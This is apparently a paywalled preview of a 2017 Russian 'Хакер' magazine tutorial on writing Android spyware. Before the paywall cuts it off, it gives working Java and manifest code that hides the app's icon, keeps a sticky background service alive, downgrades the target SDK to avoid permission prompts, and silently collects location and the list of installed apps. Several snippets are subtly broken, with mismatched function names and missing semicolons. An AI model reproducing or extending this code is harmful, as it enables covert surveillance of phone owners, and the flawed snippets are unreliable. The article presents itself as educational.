Следующая новость
Предыдущая новость

Малварь для Android за полчаса. Отслеживаем местоположение, читаем SMS, пишем аудио и делаем фото

31.10.2017 13:56
Малварь для Android за полчаса. Отслеживаем местоположение, читаем SMS, пишем аудио и делаем фото

Содержание статьи

  • Каркас
  • Информация о местоположении
  • Список установленных приложений
  • Дамп СМС
  • Запись аудио
  • Съемка
  • Складываем все вместе
  • Задания по расписанию
  • Снимок при включении экрана
  • Запуск при загрузке
  • Запись аудио по команде
  • Отправка данных на сервер
  • Выводы

Android принято называть рассадником вирусов и бэкдоров. Каждый день здесь выявляют более 8 тысяч новых образцов малвари. И эти цифры постоянно растут. Но задумывался ли ты, как эта малварь работает? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Итак, наша задача — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой зловред, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все это приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

WARNING

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы ты сломал себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

Каркас

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи тебе придется выполнить самому (для этого потребуются кое-какие знания в разработке приложений для Android).

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создай приложение, указав в манифесте следующие разрешения:

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.READ_SMS" /> 

В build.gradle укажи compileSdkVersion 22 и targetSdkVersion 22. Так ты избавишь приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Создай пустую Activity и Service. В метод onStartCommand сервиса добавь строку return Service.START_STICKY. Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавь их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity     android:name="com.example.app.MainActivity"     android:label="@string/app_name" >     <intent-filter>         <action android:name="android.intent.action.MAIN" />         <category android:name="android.intent.category.LAUNCHER" />     </intent-filter> </activity>  <service     android:name="com.example.app.MainService"     android:enabled="true"     android:exported="false"> </service> 

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {     super.onCreate(savedInstanceState)      // Запускаем сервис     startService(new Intent(this, MainService.class));      // Отключаем Activtiy     ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");     pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); } 

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Android есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по Wi-Fi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) {     LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);      android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);     android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);      long GPSLocationTime = 0;     if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }      long NetLocationTime = 0;     if (null != locationNet) { NetLocationTime = locationNet.getTime(); }      Location loc;     if ( 0 < GPSLocationTime - NetLocationTime ) {         loc = locationGPS;     } else {         loc = locationNet;     }      if (loc != null) {         return loc;     } else {         return null;     } } 

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context) String locationFile = context.getApplicationInfo().dataDir + "/location"  try {     OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));     outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);     outputStreamWriter.close(); } catch (IOException e) {} 

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) {     String appsFile = context.getApplicationInfo().dataDir + "/apps"      final PackageManager pm = context.getPackageManager();     List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);      try {         PrintWriter pw = Files.writeLines(appsFile);          for (ApplicationInfo packageInfo : packages) {             if (!isSystemPackage(packageInfo))                 pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);         }          pw.close();     } catch (IOException e) {} }  private boolean isSystemPackage(ApplicationInfo applicationInfo) {     return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0); } 

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Продолжение статьи доступно только подписчикам

Cтатьи из последних выпусков журнала можно покупать отдельно только через два месяца после публикации. Чтобы читать эту статью, необходимо купить подписку.

Подпишись на журнал «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

1 год

3200 р.

Экономия 1400 рублей!

1 месяц

490 р.

25-30 статей в месяц

Уже подписан?

Источник

Последние новости